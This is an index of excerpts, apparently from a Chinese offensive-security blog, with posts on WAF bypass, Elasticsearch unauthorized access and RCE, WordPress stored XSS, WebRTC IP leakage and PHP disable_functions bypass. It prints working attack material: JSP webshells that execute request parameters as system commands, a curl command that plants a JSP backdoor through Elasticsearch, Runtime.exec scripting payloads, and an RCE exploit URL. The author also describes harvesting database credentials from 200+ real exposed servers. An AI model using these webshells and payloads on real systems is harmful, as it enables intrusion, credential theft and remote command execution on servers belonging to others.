2015-11-30 10:04:26

multipart/form-data PHP和Java通用的WAF绕过方法

依旧是multipart/form-data,去年的时候说道了利用PHP的特性去绕过WAF.轻松绕各种WAF的POST注入、跨站防御(比如安全狗) 原文简单的描述了PHP在处理POST请求的时候会解析multipart/form-data的内容。 那么这个multipart/form-data到底是个啥呢? 大概长成上面这样.HTML代码就更加简单了: <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>yzmm - p2j.cn</title> </head> <body>   <form action="http://192.168.199.151/index.php" method="POST" enctype="multipart/form-data">        File:<input type="file" name="file" />

2015-08-05 13:23:52

2015-07-08 11:00:41

elasticsearch Snapshot And Restore缺陷利用

elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 基础信息: 可以查看es节点信息,包括安装目录:http://localhost:9200/_nodes 未授权访问的elasticsearch(事实上绝大多数都没做访问授权)备份数据的时候存在一些小缺陷,可以用来进一步的获取权限。 参考es官方的索引快找和恢复文档(Snapshot And Restore): http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot 大概意思是说: 快照和恢复模块可以创建单独的索引或整个集群索引的快照到远程仓库。最初的es只提供了把数据备份到共享文件系统,但是现在的es可以通过官方的后端插件备份。 首先创建一份恶意的索引文档(key为jsp一句话后门): curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d' {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,10

2015-05-10 19:46:51

elasticsearch 未授权访问-数据库配置信息泄漏

elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等) 安装过程看这里:https://github.com/jprante/elasticsearch-jdbc 那么怎么知道别人是不是在用elasticsearch的river呢? http://localhost:9200/_cat/indices里面的indices包含了_river一般就是了。 查看river详细信息: jdbc: { url: "jdbc:mysql://localhost:3306/库名", user: "root", password: "密码", sql: "select * from 表" } 我试了下 嗯,不错 跑了200多个配置了_river的IP,mysql、mongodb,redis比较多

2015-04-29 21:25:45

[转]Wordpress < 4.1.2 存储型XSS分析与稳定POC

原文:http://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html Wordpress这个XSS实际上是很好用的,匿名用户即可发表并触发,这里给出简单的分析与稳定的好触发的POC。 其实漏洞的作者已经在文章(https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/)里说明了,但文章给的Payload不知道为何在我的测试wp中不能触发。 这个漏洞的原理很有意思,由MYSQL的一个特性导致,当我们将一个4字节的UTF8字符插入mysql时,mysql将会视之为utf8mb4编码,当将utf8mb4编码的字符插入到UTF8编码的列中,在非strict mode下就会造成一个截断。 截断的话,就能绕过很多富文本过滤器了。比如,插入两个评论“<img src=1”,和“onerror=alert(1)// ”,这二者都不会触发某些富文本过滤器(因为前者并不含有白名单外的属性,后者并不是一个标签),但两个评论如果存在于同一个页面,就会拼接成一个完整的HTML标签,触发onerror事件。 虽然wordpress并不是适用上述的方法,但研究者很快找到了新方法。在截断后,wordpress会将单引号转换成&#8220;,于是如果我们提交的评论是这样的

2015-03-05 10:02:24

elasticsearch scripting security issues

elasticsearch scripting: http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html security issues: http://www.elasticsearch.org/community/security/ http://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=202983721&idx=1&sn=bde079dcee38c4c655e920cbcc78c6e8&scene=0 POC: Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText() super.class.toString().valueOf('whoami').execute().getText() http://zone.wooyun.org/content/18915 {"size":1,"script_fields": {"iswin": {&quo

2015-01-27 11:32:49

[zone] JavaScript 获取客户端内网IP和外网IP(STUN)

FROM:http://zone.wooyun.org/content/18274 from:https://github.com/diafygi/webrtc-ips Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。 测试链接 //get the IP addresses associated with an account function getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; //firefox already has a default stun server in about:config

2014-12-17 17:26:14

jsp小后门

一:执行系统命令: 无回显执行系统命令: <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显,用来反弹个shell很方便。 有回显带密码验证的: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print("</pre>"); } %> 请求:http://192.168.16.240:8080/Shell/cm

2014-11-24 11:21:14

[zone-phith0n]PHP 绕过Disable_functions执行命令

FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = 注释中可以看到,send_mail默认值为"sendmail -t -i". extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 如下: if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smt

2014-05-22 21:11:24

[更新]Elasticsearch 代码执行漏洞利用工具

更新地址:Elasticsearch_1.2.jar 命令参数忘记编码了,导致不能执行多参数已修复了。修改了超时为10秒、异常情况直接输出页面源码。 1、ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。 2、Lucene是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包 这个漏洞如果被利用可直接在服务器端执行任意的java代码,ElasticSearch基本都部署在大型集群环境中危害非常的大。 查看状态:http://xxxx:9200/_status 集群健康报告:http://xxxx:9200/_cluster/health 集群节点信息:http://xxxx:9200/_nodes 下载地址:Elasticsearch_fat.jar 相关:http://bouk.co/blog/elasticsearch-rce/、http://wooyun.org/bugs/wooyun-2014-061672 家里交不起网费了,如果工具有bug利用下面的代码就没什么问题了。 利用代码: http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filt